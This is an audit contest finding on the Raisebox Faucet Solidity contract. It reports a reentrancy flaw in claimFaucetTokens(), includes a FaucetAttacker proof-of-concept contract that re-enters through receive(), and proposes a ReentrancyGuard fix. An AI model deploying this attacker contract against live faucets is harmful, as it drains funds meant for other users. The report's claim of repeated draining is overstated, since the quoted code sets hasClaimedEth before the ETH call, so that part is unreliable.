Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy / state-order flaw in claimFaucetTokens() allows repeated claims and draining

Author Revealed upon completion

Root + Impact

Description

Normal behavior: claimFaucetTokens() should enforce a 3-day cooldown and daily limits, and optionally send a one-time Sepolia ETH bonus to first-time claimers. State (last claim time, daily counters, hasClaimedEth) must be updated before any external calls.

Issue: The contract performs an external ETH transfer to msg.sender before updating critical state variables (lastClaimTime, dailyClaimCount, etc.), violating Checks-Effects-Interactions and enabling reentrancy by a malicious contract. A reentrant caller can repeatedly claim tokens (and possibly ETH) within one transaction, bypassing cooldowns and limits.

// Root cause in the codebase with @> marks to highlight the relevant section
// drip sepolia eth to first time claimers ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
@> if (success) {
@> emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
@> } else {
@> revert RaiseBoxFaucet_EthTransferFailed();
@> }
} else {
emit SepEthDripSkipped(...);
}
} else {
dailyDrips = 0;
}
...
// Effects
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
// Interactions
@> _transfer(address(this), faucetClaimer, faucetDrip);

Risk:

Likelihood

1.Occurs when a claimer uses a malicious smart contract that implements a payable fallback/receive which re-calls claimFaucetTokens() during the ETH transfer.

2.Because state updates happen after the external call, the reentered call still passes cooldown/daily checks.

Impact

1.Attacker can drain faucet ERC20 tokens (depleting the faucet supply).

2.Attacker can also exhaust the faucet’s Sepolia ETH allocation, denying gas to legitimate users.




Proof of Concept:

Explanation / steps to reproduce: Deploy the attacker contract with the faucet address.Ensure attacker contract hasn’t previously claimed ETH (so hasClaimedEth is false). Call attack() from attacker owner. The faucet sends ETH to the attacker; attacker receive() re-enters claimFaucetTokens() because lastClaimTime was not yet set. Repeat until tokens drained or caps reached.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFaucet {
function claimFaucetTokens() external;
}
contract FaucetAttacker {
IFaucet public faucet;
address public owner;
uint public runs;
constructor(address _faucet) {
faucet = IFaucet(_faucet);
owner = msg.sender;
}
// Start the attack
function attack() external {
require(msg.sender == owner, "only owner");
runs = 0;
faucet.claimFaucetTokens(); // first call triggers ETH transfer to this contract
}
// Reenter when faucet sends ETH: call claimFaucetTokens again repeatedly
receive() external payable {
runs++;
// stop condition to avoid infinite loop: e.g., after N reentries
if (runs < 5) {
faucet.claimFaucetTokens();
}
}
}


Recommended Mitigation

Add reentrancy protection: inherit ReentrancyGuard and mark claimFaucetTokens() nonReentrant.


Apply Checks → Effects → Interactions: update lastClaimTime, dailyClaimCount, and hasClaimedEth before any external calls (ETH transfer). Use local variables for claimer = msg.sender instead of storing faucetClaimer in contract storage.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
- faucetClaimer = msg.sender;
+ function claimFaucetTokens() public nonReentrant {
+ address claimer = msg.sender;
- // external ETH transfer happens here (vulnerable)
+ // determine if ETH should be sent, but DO NOT make external calls yet
+ // ===== EFFECTS =====
+ lastClaimTime[claimer] = block.timestamp;
+ dailyClaimCount++;
+ if (shouldSendEth) {
+ hasClaimedEth[claimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+ }
+ // ===== INTERACTIONS =====
+ _transfer(address(this), claimer, faucetDrip);
+ if (shouldSendEth) {
+ (bool ok,) = claimer.call{value: sepEthAmountToDrip}("");
+ if (!ok) revert RaiseBoxFaucet_EthTransferFailed();
+ }
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.